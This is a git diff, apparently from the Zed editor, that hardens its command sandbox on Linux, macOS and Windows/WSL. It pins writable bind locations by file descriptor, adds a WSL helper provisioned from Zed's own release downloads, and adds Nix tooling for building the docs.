+    /// to provision inside WSL as the sandbox helper (version `latest` for dev
+    /// builds). The caller resolves these from the running app's release info
+    /// (which this low-level crate can't read) and sets them before `wrap`. When
+    /// unset, the WSL backend falls back to exec'ing bwrap directly without
+    /// in-sandbox bind validation.
+    #[cfg(target_os = "windows")]
+    pub fn set_wsl_zed_release(&mut self, channel: String, version: String) {
+        self.wsl_zed_release = Some((channel, version));
+    }
+
+    /// Check whether the platform sandbox can be created on this host without
     /// actually building a command or spawning the proxy. On Linux this runs a
     /// brief `bwrap` probe (call it off the main thread).
-    pub fn can_create(policy: &SandboxPolicy, cwd: Option<&Path>) -> Result<(), SandboxError> {
+    ///
+    /// This answers a purely *environmental* question — is a bwrap sandbox
+    /// possible here at all (a usable `bwrap`, plus the unprivileged user
+    /// namespace and mount scaffolding we rely on)? It deliberately does **not**
+    /// depend on any command's writable grants or working directory: the probe
+    /// runs a bare, representative sandbox and runs `true` in it. (Unlike the
+    /// former Landlock probe, bwrap needs no ABI-matching against the real
+    /// ruleset, so there's no reason to mirror the real command's mounts.)
+    pub fn can_create(policy: &SandboxPolicy) -> Result<(), SandboxError> {
         #[cfg(target_os = "linux")]
         {
-            let writable = policy_writable_paths(policy);
-            let writable: Vec<&Path> = writable.iter().map(PathBuf::as_path).collect();
             let permissions = linux_bubblewrap::SandboxPermissions {
                 network: linux_probe_network(&policy.network),
                 allow_fs_write: matches!(policy.fs, SandboxFsPolicy::Unrestricted),
             };
-            linux_bubblewrap::check_can_create_sandbox(&writable, permissions, cwd)
-                .map_err(map_linux_status)
+            linux_bubblewrap::check_can_create_sandbox(permissions).map_err(map_linux_status)
         }
         #[cfg(target_os = "windows")]
         {
-            let _ = cwd;
             if matches!(policy.network, SandboxNetPolicy::Restricted { .. }) {
                 return Err(unsupported_restricted_network_on_windows());
             }
@@ -383,7 +670,7 @@ impl Sandbox {
         }
         #[cfg(not(any(target_os = "linux", target_os = "windows")))]
         {
-            let _ = (policy, cwd);
+            let _ = policy;
             Ok(())
         }
     }
@@ -491,7 +778,7 @@ impl Sandbox {
     /// is empty (Git protection is moot); otherwise `Allowed` git dirs are
     /// writable and `Denied` git dirs are protected.
     #[cfg(any(target_os = "macos", target_os = "linux", target_os = "windows"))]
-    fn git_path_split(&self) -> (Vec<PathBuf>, Vec<PathBuf>) {
+    fn git_path_split(&self) -> (Vec<HostFilesystemLocation>, Vec<HostFilesystemLocation>) {
         if self.fs.allow_fs_write {
             return (Vec::new(), Vec::new());
         }
@@ -520,14 +807,61 @@ impl Sandbox {
             allow_fs_write: self.fs.allow_fs_write,
         };
         let (git_writable, git_protected) = self.git_path_split();
-        let mut writable: Vec<&Path> = self
-            .fs
-            .writable_paths
+        // Build the writable binds as (captured fd, bind path) pairs in lockstep.
+        // The bind *path* is derived from the pinned inode (readlink of the
+        // captured `O_PATH` fd), never from an attacker-influenceable string; the
+        // *fd* is what the in-sandbox validator compares the mounted inode
+        // against. The two lists stay in the same order so each fd lines up with
+        // its path on the validator side.
+        let mut writable_owned: Vec<PathBuf> = Vec::new();
+        let mut writable_fds: Vec<std::os::fd::OwnedFd> = Vec::new();
+        for location in self.fs.writable_paths.iter().chain(git_writable.iter()) {
+            let Some(path) = linux_location_path(location) else {
+                continue;
+            };
+            match location.linux_dup_fd() {
+                Ok(fd) => {
+                    writable_owned.push(path);
+                    writable_fds.push(fd);
+                }
+                Err(error) => {
+                    // Fail closed: a bind we can't pin a verifiable fd for is
+                    // dropped rather than bound unverified.
+                    log::warn!(
+                        "[sandbox] could not duplicate fd for writable bind {}: {error}",
+                        path.display()
+                    );
+                }
+            }
+        }
+        let writable: Vec<&Path> = writable_owned.iter().map(PathBuf::as_path).collect();
+        let protected_owned: Vec<PathBuf> = git_protected
             .iter()
-            .map(PathBuf::as_path)
+            .filter_map(linux_location_path)
             .collect();
-        writable.extend(git_writable.iter().map(PathBuf::as_path));
-        let protected_git_dirs: Vec<&Path> = git_protected.iter().map(PathBuf::as_path).collect();
+        let protected_git_dirs: Vec<&Path> = protected_owned.iter().map(PathBuf::as_path).collect();
+
+        // Stand up the host endpoint that sends the captured fds to the
+        // in-sandbox validator, when this run has writable binds to verify. It's
+        // an in-process background thread owned by this (per-command) `Sandbox`,
+        // so it lives only for the command's duration. The sender serves its
+        // descriptors to exactly one client and then tears itself down, so each
+        // wrap creates a fresh one (replacing any from a prior wrap); a
+        // `Sandbox` normally wraps a single command.
+        if !self.fs.allow_fs_write && !writable_fds.is_empty() {
+            let sender =
+                linux_bubblewrap::ValidationFdSender::spawn(writable_fds).map_err(|error| {
+                    SandboxError::Io(format!("failed to start sandbox bind validator: {error}"))
+                })?;
+            self.validation_fd_sender = Some(sender);
+        }
+        let validation_socket =
+            self.validation_fd_sender
+                .as_ref()
+                .map(|sender| linux_bubblewrap::ValidationSocket {
+                    host_socket_path: sender.host_socket_path(),
+                    sandbox_socket_path: sender.sandbox_socket_path(),
+                });
 
         let bridge_program = std::env::current_exe()
             .map_err(|error| SandboxError::BridgeExecutableUnavailable(error.to_string()))?;
@@ -547,6 +881,7 @@ impl Sandbox {
             &command.program,
             &command.args,
             proxy_socket_path.as_deref(),
+            validation_socket,
         )
         .map_err(map_anyhow_error)?;
 
@@ -576,14 +911,28 @@ impl Sandbox {
             allow_fs_write: self.fs.allow_fs_write,
         };
         let (git_writable, git_protected) = self.git_path_split();
+        // Each location's canonical path was resolved exactly once at capture
+        // time; pass it straight through as the Seatbelt rule literal. The
+        // profile generator must NOT re-canonicalize (that reopened the
+        // verify-vs-enforce gap); see `generate_seatbelt_config`.
         let mut writable: Vec<&Path> = self
             .fs
             .writable_paths
             .iter()
-            .map(PathBuf::as_path)
+            .map(HostFilesystemLocation::macos_canonical_path)
+            .collect();
+        writable.extend(
+            git_writable
+                .iter()
+                .map(HostFilesystemLocation::macos_canonical_path),
+        );
+        let protected: Vec<&Path> = git_protected
+            .iter()
+            .map(HostFilesystemLocation::macos_canonical_path)
             .collect();
-        writable.extend(git_writable.iter().map(PathBuf::as_path));
-        let protected: Vec<&Path> = git_protected.iter().map(PathBuf::as_path).collect();
+
+        // SSH-agent socket handling (commit signing) is deferred, so no unix
+        // sockets are allowed for now.
         let (program, args, config) = macos_seatbelt::wrap_invocation(
             &command.program,
             &command.args,
@@ -614,16 +963,34 @@ impl Sandbox {
             allow_network: matches!(self.network, NetSetup::Unrestricted),
             allow_fs_write: self.fs.allow_fs_write,
         };
-        let (writable_git_paths, protected_git_paths) = self.git_path_split();
+        // On Windows the location carries only the requested path; the in-WSL
+        // helper performs the real capture-at-validation. These are mapped into
+        // WSL by `wrap_invocation`.
+        let writable_paths: Vec<PathBuf> = self
+            .fs
+            .writable_paths
+            .iter()
+            .map(|location| location.windows_path().to_path_buf())
+            .collect();
+        let (writable_git_locations, protected_git_locations) = self.git_path_split();
+        let writable_git_paths: Vec<PathBuf> = writable_git_locations
+            .iter()
+            .map(|location| location.windows_path().to_path_buf())
+            .collect();
+        let protected_git_paths: Vec<PathBuf> = protected_git_locations
+            .iter()
+            .map(|location| location.windows_path().to_path_buf())
+            .collect();
         let (program, args) = windows_wsl::wrap_invocation(
             command.program.clone(),
             command.args.clone(),
-            self.fs.writable_paths.clone(),
+            writable_paths,
             writable_git_paths,
             protected_git_paths,
             permissions,
             command.cwd.clone(),
             command.env.clone(),
+            self.wsl_zed_release.clone(),
         )
         .await
         .map_err(map_anyhow_error)?;
@@ -650,23 +1017,47 @@ impl Drop for Sandbox {
     }
 }
 
-/// Handle a possible re-exec of this binary as an in-sandbox helper.
+/// Argv flag that marks the WSL-side sandbox-helper re-exec. Shared so the
+/// Windows side (`windows_wsl`, which builds the `wsl.exe` invocation) and the
+/// Linux side (`linux_bubblewrap`, which parses it inside WSL) can't drift.
+///
+/// Only referenced by those two cfg-gated modules, so it's gated to match;
+/// otherwise it's dead code on macOS.
+#[cfg(any(target_os = "linux", target_os = "windows"))]
+pub(crate) const WSL_SANDBOX_HELPER_FLAG: &str = "--wsl-sandbox-helper";
+
+/// Handle a possible re-exec of this binary as a sandbox helper.
+///
+/// Two Linux re-exec modes funnel through here, neither of which returns if it
+/// matches:
+/// - the in-sandbox launcher (bind validator + restricted-network bridge), run
+///   by bwrap before the real command; and
+/// - the WSL-side helper, run inside WSL to capture fds + drive bwrap (the moral
+///   equivalent of `Sandbox::wrap` on native Linux).
 ///
-/// Linux restricted-network runs launch this binary in bridge mode inside the
-/// sandbox network namespace before spawning the real command. Call this at the
-/// top of `main`, before normal argument parsing.
+/// Call this at the top of `main`, before normal argument parsing.
 #[doc(hidden)]
 pub fn run_sandbox_launcher_if_invoked() {
     #[cfg(target_os = "linux")]
-    linux_bubblewrap::run_launcher_if_invoked();
+    {
+        linux_bubblewrap::run_launcher_if_invoked();
+        linux_bubblewrap::run_wsl_helper_if_invoked();
+    }
 }
 
+// The createability probe only needs to know whether a sandbox *can* be built
+// (namespaces, `bwrap` availability); it does not enforce any grant, so it runs
+// with no writable binds rather than re-deriving paths from the opaque
+// locations.
+
+/// The current path of the inode pinned by a [`HostFilesystemLocation`]'s
+/// `O_PATH` fd, via `/proc/self/fd`. This resolves to the *pinned inode*, so it
+/// reflects the object captured at validation even if its name was changed,
+/// rather than re-resolving an attacker-influenceable path string.
 #[cfg(target_os = "linux")]
-fn policy_writable_paths(policy: &SandboxPolicy) -> Vec<PathBuf> {
-    match &policy.fs {
-        SandboxFsPolicy::Unrestricted => Vec::new(),
-        SandboxFsPolicy::Restricted { writable_paths } => writable_paths.clone(),
-    }
+fn linux_location_path(location: &HostFilesystemLocation) -> Option<PathBuf> {
+    use std::os::fd::AsRawFd as _;
+    std::fs::read_link(format!("/proc/self/fd/{}", location.linux_fd().as_raw_fd())).ok()
 }
 
 #[cfg(not(target_os = "windows"))]
@@ -842,20 +1233,25 @@ mod tests {
 
     #[test]
     fn fs_merge_unrestricted_dominates_else_unions_paths() {
+        // Writable paths are captured as real `HostFilesystemLocation`s (keyed on
+        // the inode), so the union/dedup test needs three distinct real dirs.
+        let dir_a = tempfile::tempdir().expect("create temp dir a");
+        let dir_b = tempfile::tempdir().expect("create temp dir b");
+        let dir_c = tempfile::tempdir().expect("create temp dir c");
+        let location = |dir: &tempfile::TempDir| {
+            HostFilesystemLocation::new(dir.path()).expect("capture temp dir")
+        };
+
         let a = SandboxFsPolicy::Restricted {
-            writable_paths: vec![PathBuf::from("/a"), PathBuf::from("/b")],
+            writable_paths: vec![location(&dir_a), location(&dir_b)],
         };
         let b = SandboxFsPolicy::Restricted {
-            writable_paths: vec![PathBuf::from("/b"), PathBuf::from("/c")],
+            writable_paths: vec![location(&dir_b), location(&dir_c)],
         };
         assert_eq!(
             a.clone().merge(b),
             SandboxFsPolicy::Restricted {
-                writable_paths: vec![
-                    PathBuf::from("/a"),
-                    PathBuf::from("/b"),
-                    PathBuf::from("/c")
-                ],
+                writable_paths: vec![location(&dir_a), location(&dir_b), location(&dir_c)],
             }
         );
         assert_eq!(
@@ -864,7 +1260,7 @@ mod tests {
         );
         assert_eq!(
             SandboxFsPolicy::Unrestricted.merge(SandboxFsPolicy::Restricted {
-                writable_paths: vec![PathBuf::from("/a")],
+                writable_paths: vec![location(&dir_a)],
             }),
             SandboxFsPolicy::Unrestricted
         );
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index 03c1c457212ca6..212df7d47c28fd 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -58,6 +58,101 @@ const BWRAP_UNUSABLE_EXIT_CODE: i32 = 42;
 /// of any stdout noise printed by the login shell's profile scripts.
 const PROBE_RESULT_PREFIX: &str = "zed-wsl-probe:";
 
+/// Prefix of the helper-provisioning script's single result line (the absolute
+/// in-WSL path of the Linux `zed` to run as the sandbox helper), picked out of
+/// login-shell stdout noise just like [`PROBE_RESULT_PREFIX`].
+const HELPER_RESULT_PREFIX: &str = "zed-wsl-helper:";
+
+/// Ensures a Linux `zed` matching the running release is available inside WSL to
+/// act as the sandbox helper (`--wsl-sandbox-helper`), and prints its absolute
+/// in-WSL path on a [`HELPER_RESULT_PREFIX`] line. `$1` is the release channel,
+/// `$2` the version (`latest` for dev builds, which have no matching release and
+/// so track the latest nightly); both are passed as argv, never interpolated, so
+/// a version/channel string can't inject shell.
+///
+/// Unlike a normal Linux install, this deliberately does **not** consult the WSL
+/// `PATH`: inside WSL `zed` typically resolves to the *Windows* `zed.exe` via
+/// interop, which is not a Linux binary and so can't be the helper. It also does
+/// not use the public install script (`install.sh`), which puts `zed` on the
+/// user's `PATH` and writes desktop entries we don't want. Instead the Windows
+/// side resolves the exact channel+version (see `wsl_zed_release`) and this
+/// script downloads that release's Linux tarball straight from
+/// `cloud.zed.dev/releases` and unpacks it into a private, off-`PATH` location
+/// (`~/.local/libexec/zed/<channel>`, the conventional spot for executables run
+/// by other programs rather than directly by the user). One managed copy per
+/// channel is kept, tracked by a marker file so an exact channel+version match
+/// is reused rather than re-downloaded.
+///
+/// We ship no `zed` (nor `bwrap`) into WSL ourselves; this downloads `zed` on
+/// demand. A missing `curl`/`wget` (or a failed download) is a hard error the
+/// caller surfaces to the user, exactly like a missing `bwrap`.
+const HELPER_PROVISION_SCRIPT: &str = r#"
+set -eu
+channel="$1"
+version="$2"
+dest="$HOME/.local/libexec/zed/$channel"
+marker="$dest/.zed-wsl-helper-version"
+want="$channel $version"
+
+# Reuse an exact, already-installed channel+version.
+if [ "$(cat "$marker" 2>/dev/null || true)" = "$want" ]; then
+    helper=$(find "$dest" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+    if [ -n "$helper" ] && [ -x "$helper" ]; then
+        printf 'zed-wsl-helper: %s\n' "$helper"
+        exit 0
+    fi
+fi
+
+arch=$(uname -m)
+case "$arch" in
+    x86_64 | amd64) arch="x86_64" ;;
+    aarch64 | arm64) arch="aarch64" ;;
+    *) echo "unsupported WSL architecture for the zed sandbox helper: $arch" >&2; exit 1 ;;
+esac
+url="https://cloud.zed.dev/releases/$channel/$version/download?asset=zed&arch=$arch&os=linux&source=zed-wsl-sandbox"
+
+tmp=$(mktemp -d "${TMPDIR:-/tmp}/zed-wsl-helper-XXXXXX")
+trap 'rm -rf "$tmp"' EXIT
+tarball="$tmp/zed.tar.gz"
+if command -v curl >/dev/null 2>&1; then
+    curl -fL "$url" -o "$tarball"
+elif command -v wget >/dev/null 2>&1; then
+    wget -O "$tarball" "$url"
+else
+    echo 'neither curl nor wget is available in WSL to download zed' >&2
+    exit 1
+fi
+
+mkdir -p "$tmp/unpacked"
+tar -xzf "$tarball" -C "$tmp/unpacked"
+helper_src=$(find "$tmp/unpacked" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+if [ -z "$helper_src" ]; then
+    echo 'the downloaded zed tarball did not contain a bin/zed binary' >&2
+    exit 1
+fi
+app=$(dirname "$(dirname "$helper_src")")
+
+# Install atomically: stage the unpacked app next to the destination on the same
+# filesystem, then swap it into place so a concurrent run never sees (or execs) a
+# partially-written install. The whole app dir is kept so the binary's bundled
+# libraries ($ORIGIN/../lib) remain alongside it.
+mkdir -p "$(dirname "$dest")"
+rm -rf "$dest.new" "$dest.old"
+cp -a "$app" "$dest.new"
+if [ -e "$dest" ]; then mv "$dest" "$dest.old"; fi
+mv "$dest.new" "$dest"
+rm -rf "$dest.old"
+printf '%s' "$want" > "$marker"
+
+helper=$(find "$dest" -type f -path '*/bin/zed' -print 2>/dev/null | head -n 1 || true)
+if [ -z "$helper" ] || [ ! -x "$helper" ]; then
+    echo "the installed zed sandbox helper is missing or not executable under $dest" >&2
+    exit 1
+fi
+printf 'zed-wsl-helper: %s\n' "$helper"
+exit 0
+"#;
+
 /// Marks a failure of the Windows WSL sandboxing *environment*: WSL is missing
 /// or won't start, there's no usable `bwrap`, or the probe / path-resolution
 /// stdout protocol broke down. Returned as the root of the `anyhow::Error` so
@@ -177,6 +272,13 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     permissions: SandboxPermissions,
     cwd: Option<PathBuf>,
     env: HashMap<String, String, S>,
+    // `(release channel, version)` of the Linux `zed` to provision inside WSL as
+    // the `--wsl-sandbox-helper` (the version is `latest` for dev builds). When
+    // `None`, no helper is used and bwrap is exec'd directly — the legacy path,
+    // which binds writable paths by string and so carries the bind-source TOCTOU
+    // the helper closes. Callers that can determine the running release should
+    // always pass `Some`.
+    wsl_zed_release: Option<(String, String)>,
 ) -> Result<(String, Vec<String>)> {
     // Mapping failures are bad requests (a path that doesn't exist or has a
     // shape WSL can't address), not environment problems, so no
@@ -279,21 +381,50 @@ pub async fn wrap_invocation<S: std::hash::BuildHasher>(
     if let Some(cwd) = &cwd {
         wsl_args.extend(["--cd".to_string(), cwd.clone()]);
     }
-    // Use the absolute path the probe validated: `wsl --exec` searches only
-    // the default WSL PATH, which may not include a profile-managed location
-    // where the probe's login shell found `bwrap`.
-    wsl_args.extend(["--exec".to_string(), environment.bwrap_path.clone()]);
-    wsl_args.extend(build_bwrap_args(
+
+    // The bwrap *options* (everything before the trailing `-- cmd`): root bind,
+    // `/tmp` tmpfs, writable binds, interop blocking, `--setenv`s, `--chdir`,
+    // namespace flags. Identical whether or not we route through the helper.
+    let bwrap_options = build_bwrap_args(
         &writable_paths,
         &protected_git_paths,
         permissions,
         cwd.as_deref(),
         environment.mask_interop_dir,
         &env,
-    ));
-    wsl_args.push("--".to_string());
-    wsl_args.push(program);
-    wsl_args.extend(args);
+    );
+
+    match wsl_zed_release {
+        // Preferred path: run the in-WSL `zed` as the sandbox helper, which
+        // captures the writable binds' inodes WSL-side and validates them after
+        // bwrap's mounts (the same in-sandbox check native Linux performs).
+        Some((channel, version)) => {
+            let helper =
+                ensure_wsl_zed_helper(&wsl_exe, distro.as_deref(), &channel, &version).await?;
+            wsl_args.extend(["--exec".to_string(), helper]);
+            // Protocol (decoded by `linux_bubblewrap::decode_wsl_helper_args`):
+            //   <flag> <bwrap_path> <n_base> <base...> <n_writable> <writable...> -- <prog> <args>
+            wsl_args.push(crate::WSL_SANDBOX_HELPER_FLAG.to_string());
+            wsl_args.push(environment.bwrap_path.clone());
+            wsl_args.push(bwrap_options.len().to_string());
+            wsl_args.extend(bwrap_options);
+            wsl_args.push(writable_paths.len().to_string());
+            wsl_args.extend(writable_paths.iter().cloned());
+            wsl_args.push("--".to_string());
+            wsl_args.push(program);
+            wsl_args.extend(args);
+        }
+        // Legacy path: exec bwrap directly (no in-sandbox bind validation). Use
+        // the absolute path the probe validated, since `wsl --exec` searches
+        // only the default WSL PATH.
+        None => {
+            wsl_args.extend(["--exec".to_string(), environment.bwrap_path.clone()]);
+            wsl_args.extend(bwrap_options);
+            wsl_args.push("--".to_string());
+            wsl_args.push(program);
+            wsl_args.extend(args);
+        }
+    }
 
     Ok((wsl_exe.to_string_lossy().into_owned(), wsl_args))
 }
@@ -509,6 +640,94 @@ fn parse_probe_output(stdout: &str) -> Result<EnvironmentProbe> {
     })
 }
 
+/// Ensure a Linux `zed` of the given release `channel`/`version` is available
+/// inside WSL and return its absolute in-WSL path, to be `--exec`'d as the
+/// `--wsl-sandbox-helper`. Runs [`HELPER_PROVISION_SCRIPT`] (which downloads the
+/// matching release tarball into an off-`PATH` location on first use).
+///
+/// Successful resolutions are cached per `(distro, channel, version)` for the
+/// life of the process — once provisioned, the path won't change. Failures are
+/// not cached, so a user who installs `curl` (or fixes networking) after an
+/// error can retry without restarting Zed.
+async fn ensure_wsl_zed_helper(
+    wsl_exe: &Path,
+    distro: Option<&str>,
+    channel: &str,
+    version: &str,
+) -> Result<String> {
+    type HelperCache = HashMap<(Option<String>, String, String), String>;
+    static CACHE: OnceLock<Mutex<HelperCache>> = OnceLock::new();
+    let cache = CACHE.get_or_init(|| Mutex::new(HashMap::new()));
+
+    let key = (
+        distro.map(str::to_string),
+        channel.to_string(),
+        version.to_string(),
+    );
+    if let Some(path) = cache
+        .lock()
+        .unwrap_or_else(|poisoned| poisoned.into_inner())
+        .get(&key)
+    {
+        return Ok(path.clone());
+    }
+
+    // A login shell (`-lc`) is used so a profile-managed PATH (where `zed` or
+    // `curl` may live) is honored. `channel`/`version` are passed as positional
+    // args (`$1`/`$2`), never interpolated into the script body.
+    let output = run_wsl_command(
+        wsl_exe,
+        distro,
+        [
+            "--exec",
+            "sh",
+            "-lc",
+            HELPER_PROVISION_SCRIPT,
+            "zed-wsl-sandbox-helper",
+            channel,
+            version,
+        ],
+        "provision the Linux `zed` sandbox helper",
+    )
+    .await?;
+    if !output.status.success() {
+        let stderr = String::from_utf8_lossy(&output.stderr);
+        let stderr = stderr.trim();
+        return Err(unavailable(format!(
+            "failed to provision a Linux `zed` sandbox helper in {}{}",
+            wsl_distro_label(distro),
+            if stderr.is_empty() {
+                String::new()
+            } else {
+                format!(": {stderr}")
+            }
+        )));
+    }
+
+    let stdout = String::from_utf8_lossy(&output.stdout);
+    let path = stdout
+        .lines()
+        .rev()
+        .find_map(|line| line.strip_prefix(HELPER_RESULT_PREFIX))
+        .map(|path| path.trim().to_string())
+        .with_context(|| {
+            unavailable(format!(
+                "no helper result line in sandbox-helper provisioning output from {}: {stdout:?}",
+                wsl_distro_label(distro)
+            ))
+        })?;
+    ensure!(
+        path.starts_with('/'),
+        "the WSL `zed` sandbox helper resolved to {path:?} rather than an absolute path"
+    );
+
+    cache
+        .lock()
+        .unwrap_or_else(|poisoned| poisoned.into_inner())
+        .insert(key, path.clone());
+    Ok(path)
+}
+
 /// Shell script that resolves and existence-checks paths in a single WSL
 /// round-trip. Arguments come in triples `(kind, path, fallback)`: kind `W`
 /// is a native Windows path to translate with `wslpath -u` (falling back to
@@ -1105,6 +1324,7 @@ mod tests {
             SandboxPermissions::default(),
             None,
             HashMap::<String, String>::new(),
+            None,
         ));
     }
 
diff --git a/crates/sandbox/src/wsl_sandbox_test_helper.rs b/crates/sandbox/src/wsl_sandbox_test_helper.rs
index b4fab4cbcd24ff..d184d09ef42f5f 100644
--- a/crates/sandbox/src/wsl_sandbox_test_helper.rs
+++ b/crates/sandbox/src/wsl_sandbox_test_helper.rs
@@ -48,8 +48,8 @@ mod imp {
 
     use anyhow::{Context as _, Result, bail, ensure};
     use sandbox::{
-        CommandAndArgs, GitSandboxPolicy, Sandbox, SandboxError, SandboxFsPolicy, SandboxNetPolicy,
-        SandboxPolicy,
+        CommandAndArgs, GitSandboxPolicy, HostFilesystemLocation, Sandbox, SandboxError,
+        SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
     };
 
     /// Network access for a helper run, translated into a `SandboxNetPolicy` in
@@ -513,7 +513,12 @@ mod imp {
                 SandboxFsPolicy::Unrestricted
             } else {
                 SandboxFsPolicy::Restricted {
-                    writable_paths: writable_paths.to_vec(),
+                    // On Windows the location only records the requested path;
+                    // the real capture happens WSL-side in the helper.
+                    writable_paths: writable_paths
+                        .iter()
+                        .filter_map(|path| HostFilesystemLocation::new(path).ok())
+                        .collect(),
                 }
             },
             network: match permissions.network {
diff --git a/docs/README.md b/docs/README.md
index 65c4699cb626a9..faf443bef51af0 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -13,6 +13,17 @@ mdbook serve docs
 
 The first command dumps an action manifest to `crates/docs_preprocessor/actions.json`. Without it, the preprocessor cannot validate keybinding and action references in the docs and will report errors. You only need to re-run it when actions change.
 
+If you use Nix, the development shell provides a pinned `mdbook` (0.4.40) and a
+prebuilt docs preprocessor, so you can build the docs without installing anything
+or compiling the preprocessor on every run:
+
+```sh
+nix develop -c mdbook build docs
+```
+
+(When `actions.json` has not been generated, action/keybinding validation is
+skipped with a warning rather than failing the build.)
+
 It's important to note the version number above. For an unknown reason, as of 2025-04-23, running 0.4.48 will cause odd URL behavior that breaks things.
 
 Before committing, verify that the docs are formatted in the way Prettier expects with:
@@ -25,7 +36,7 @@ cd docs && pnpm dlx prettier@3.5.0 . --write && cd ..
 
 We have a custom mdBook preprocessor for interfacing with our crates (`crates/docs_preprocessor`).
 
-If for some reason you need to bypass the docs preprocessor, you can comment out `[preprocessor.zed_docs_preprocessor]` from the `book.toml`.
+If for some reason you need to bypass the docs preprocessor, you can comment out `[preprocessor.zed-docs-preprocessor]` from the `book.toml`.
 
 ## Images and videos
 
diff --git a/docs/book.toml b/docs/book.toml
index f3ebf4187ed4ea..2eed5f7907a668 100644
--- a/docs/book.toml
+++ b/docs/book.toml
@@ -106,6 +106,6 @@ enable = false
 # and other docs-related functions.
 #
 # Comment the below section out if you need to bypass the preprocessor for some reason.
-[preprocessor.zed_docs_preprocessor]
+[preprocessor.zed-docs-preprocessor]
 command = "cargo run -p docs_preprocessor --"
 renderer = ["html", "zed-html"]
diff --git a/nix/build.nix b/nix/build.nix
index 0375b0de5f816d..c01d869fddc9fd 100644
--- a/nix/build.nix
+++ b/nix/build.nix
@@ -311,6 +311,13 @@ craneLib.buildPackage (
   lib.recursiveUpdate commonArgs {
     inherit cargoArtifacts;
 
+    # Expose the crane builder and shared arguments so other derivations (e.g.
+    # the docs preprocessor in the devshell) can build sibling workspace crates
+    # without duplicating all of the build inputs and environment setup.
+    passthru = {
+      inherit craneLib commonArgs cargoArtifacts;
+    };
+
     dontUseCmakeConfigure = true;
 
     # without the env var generate-licenses fails due to crane's fetchCargoVendor, see:
diff --git a/nix/dev/flake.lock b/nix/dev/flake.lock
index bdb585dde4ca50..775903fce82756 100644
--- a/nix/dev/flake.lock
+++ b/nix/dev/flake.lock
@@ -16,8 +16,25 @@
         "type": "github"
       }
     },
+    "nixpkgs-mdbook": {
+      "locked": {
+        "lastModified": 1721153957,
+        "narHash": "sha256-3xc3Tvk+AivI7TKctzgg3Q/4cLeqtarUuWLgTv2rPPM=",
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "6ecabf9e3f617aeec1a23a27d0080cab066a9d5b",
+        "type": "github"
+      },
+      "original": {
+        "owner": "NixOS",
+        "repo": "nixpkgs",
+        "rev": "6ecabf9e3f617aeec1a23a27d0080cab066a9d5b",
+        "type": "github"
+      }
+    },
     "root": {
       "inputs": {
+        "nixpkgs-mdbook": "nixpkgs-mdbook",
         "treefmt-nix": "treefmt-nix"
       }
     },
diff --git a/nix/dev/flake.nix b/nix/dev/flake.nix
index b508417b62c601..d430020226a395 100644
--- a/nix/dev/flake.nix
+++ b/nix/dev/flake.nix
@@ -3,6 +3,10 @@
 
   inputs = {
     treefmt-nix.url = "github:numtide/treefmt-nix";
+    # Pinned to a nixpkgs revision that packages mdBook 0.4.40, the version the
+    # docs require (see `crates/docs_preprocessor/Cargo.toml`). Newer mdBook
+    # releases break the docs' double-nested subdirectories.
+    nixpkgs-mdbook.url = "github:NixOS/nixpkgs/6ecabf9e3f617aeec1a23a27d0080cab066a9d5b";
   };
 
   # This flake is only used for its inputs.
diff --git a/nix/modules/devshells.nix b/nix/modules/devshells.nix
index da6ba6fd1134d4..62b80a8d9e0531 100644
--- a/nix/modules/devshells.nix
+++ b/nix/modules/devshells.nix
@@ -1,13 +1,41 @@
 { inputs, ... }:
 {
   perSystem =
-    { pkgs, ... }:
+    { pkgs, system, ... }:
     let
       # NOTE: Duplicated because this is in a separate flake-parts partition
       # than ./packages.nix
       mkZed = import ../toolchain.nix { inherit inputs; };
       zed-editor = mkZed pkgs;
 
+      # mdBook pinned to 0.4.40 via a dedicated nixpkgs input, because the docs
+      # rely on behavior that newer mdBook releases break (see
+      # `crates/docs_preprocessor/Cargo.toml`).
+      mdbook = (import inputs.nixpkgs-mdbook { inherit system; }).mdbook;
+
+      # Prebuilt docs preprocessor/postprocessor binary. `docs/book.toml`
+      # defaults to `cargo run -p docs_preprocessor` so non-Nix contributors are
+      # unaffected; in the devshell we point mdBook at this prebuilt binary via
+      # the `MDBOOK_*` env vars below so `mdbook build docs` doesn't have to
+      # compile the preprocessor on every run.
+      #
+      # We reuse `zed-editor`'s crane builder and shared arguments (exposed via
+      # `passthru`) rather than `overrideAttrs`, because crane bakes
+      # `cargoExtraArgs` into the build command at evaluation time.
+      docs-preprocessor = zed-editor.passthru.craneLib.buildPackage (
+        zed-editor.passthru.commonArgs
+        // {
+          inherit (zed-editor.passthru) cargoArtifacts;
+          pname = "zed-docs-preprocessor";
+          cargoExtraArgs = "-p docs_preprocessor --locked";
+          dontUseCmakeConfigure = true;
+          meta = {
+            description = "mdBook preprocessor and postprocessor for the Zed docs";
+            mainProgram = "docs_preprocessor";
+          };
+        }
+      );
+
       rustBin = inputs.rust-overlay.lib.mkRustBin { } pkgs;
       rustToolchain = rustBin.fromRustupToolchainFile ../../rust-toolchain.toml;
 
@@ -54,6 +82,10 @@
             nodejs_22
             zig
 
+            # Documentation tooling: `nix develop -c mdbook build docs`
+            mdbook
+            docs-preprocessor
+
             # A11y testing infra
             gobject-introspection
             at-spi2-core
@@ -81,6 +113,14 @@
               ];
             };
             PROTOC = "${pkgs.protobuf}/bin/protoc";
+
+            # Point mdBook at the prebuilt preprocessor/postprocessor binary
+            # instead of `cargo run`. mdBook lowercases these keys and turns `_`
+            # into `-`, so they map to `preprocessor.zed-docs-preprocessor.command`
+            # and `output.zed-html.command` in `docs/book.toml`.
+            MDBOOK_PREPROCESSOR__ZED_DOCS_PREPROCESSOR__COMMAND = "${docs-preprocessor}/bin/docs_preprocessor";
+            MDBOOK_OUTPUT__ZED_HTML__COMMAND = "${docs-preprocessor}/bin/docs_preprocessor postprocess";
+
             ZED_ZSTD_MUSL_LIB = "${pkgs.pkgsCross.musl64.pkgsStatic.zstd.out}/lib";
             # For aws-lc-sys musl cross-compilation
             CC_x86_64_unknown_linux_musl = "${muslCross.stdenv.cc}/bin/x86_64-unknown-linux-musl-gcc";
